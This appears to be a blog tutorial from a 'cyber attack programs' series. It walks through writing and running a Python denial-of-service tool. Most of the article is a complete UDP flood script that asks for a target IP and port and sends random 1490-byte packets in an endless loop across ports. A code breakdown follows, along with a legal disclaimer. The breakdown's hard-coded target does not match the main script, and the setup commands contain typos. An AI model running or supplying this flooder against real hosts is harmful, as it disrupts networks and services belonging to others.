Cyber attack programs series 2 of 4

DOS Attack Using Python

Let us see how to perform a DOS attack in a network from a a computer system using python.

Ketan Jadhav
4 min readMay 12, 2024

DOS Attack Using Python

By : What Is a Denial of Service Attack?

Learn about DOS attack, How it works?

Program prerequisites

  1. Ubuntu or any Linux distribution in system
  2. Python installed

Let’s get into the program

1. Update python and install scapy library

user@ubuntu:~$ sudo apt-get update 
user@ubuntu:~$ sudo apt-get install python3.pip
user@ubuntu:~$ sudo python3 –m pip install -- pre scapy[complete]

2. Create a file name dos.py

user@ubuntu:~$ gedit dos.py

3. Insert the code below:

# NOTE: Performing a Denial of Service (DoS) attack without proper authorization is illegal and unethical.
# You should NEVER attempt to carry out such an attack on systems or networks that you do not own or have explicit permission to test.
# This code is provided for educational purposes only and should be used solely in controlled environments with the consent of the network administrator.

import sys
import os
import time
import socket
import random

# Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Generate random bytes of length 1490 (Maximum UDP payload size)
bytes = random._urandom(1490)

#############

os.system("clear")

# Print a banner
print("\n----------------------------------------------------")
print("\n--------- D D O S A T T A C K ---------")
print("\n----------------------------------------------------\n")

# Prompt the user for the target IP address and port
ip = input("Enter the target IP address: ")
port = int(input("Enter the target port: "))

print("\nThe IP address of the Host to Attack is : ", ip)
print("\nThe PORT address of the Host to Attack is : ", port)
print("\n----------------------------------------------------\n")

# Print a progress bar
print("\[ \] 0% ")
time.sleep(2)
print("\[===== \] 25%")
time.sleep(2)
print("\[========== \] 50%")
time.sleep(2)
print("\[=============== \] 75%")
time.sleep(2)
print("\[====================\] 100%")
time.sleep(2)
print("\n----------------------------------------------------\n")

sent = 0
while True:
# Send the random bytes to the target IP and port
sock.sendto(bytes, (ip, port))
sent = sent + 1
port = port + 1

# Print the number of packets sent, target IP, and current port
print("Sent %s packet to %s through port:%s" % (sent, ip, port))

# Reset the port number if it reaches 65534
if port == 65534:
port = 1

4. Running the script/program: (sudo for root privilege’s)

user@ubuntu:~$ sudo python3 dos.py

Program breakdown

import sys
import os
import time
import socket
import random
from datetime import datetime

This line imports various modules such as sys, os, time, socket, and random. It imports the datetime module from the datetime library to get the current date and time.

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)

It creates a UDP socket using socket.socket(socket.AF_INET, socket.SOCK_DGRAM) and generates random bytes of length 1490 using random._urandom(1490)

os.system("clear")
print ("\n----------------------------------------------------")
print ("\n--------- D D O S A T T A C K ---------")
print ("\n----------------------------------------------------\n")

The script clears the terminal screen using os.system("clear"). And prints a banner displaying “DDOS ATTACK”.

#ip is the ip_address of the destination system.
ip = '192.168.5.117'
port = 1024

The program takes two inputs ip(ip_address of targeted system) and port number of targeted system.

sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
# time.sleep(1)
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1
# time.sleep(1)

The main loop of the script starts, where it continuously sends the random bytes to the target IP address and port using sock.sendto(bytes, (ip, port)).

For each packet sent, it increments the sent counter and the port number. If the port number reaches 65534, it resets it to 1. The script prints the number of packets sent, the target IP address, and the current port number.

Disclaimer: It’s important to note that performing DOS attacks is illegal and unethical, and can potentially cause significant harm to systems and networks. This code should only be used for educational and ethical purposes, such as testing the resilience of your own systems or with explicit permission from the system owner.

--

--

Ketan Jadhav

I write about Programming | Life | Self-improvement and more.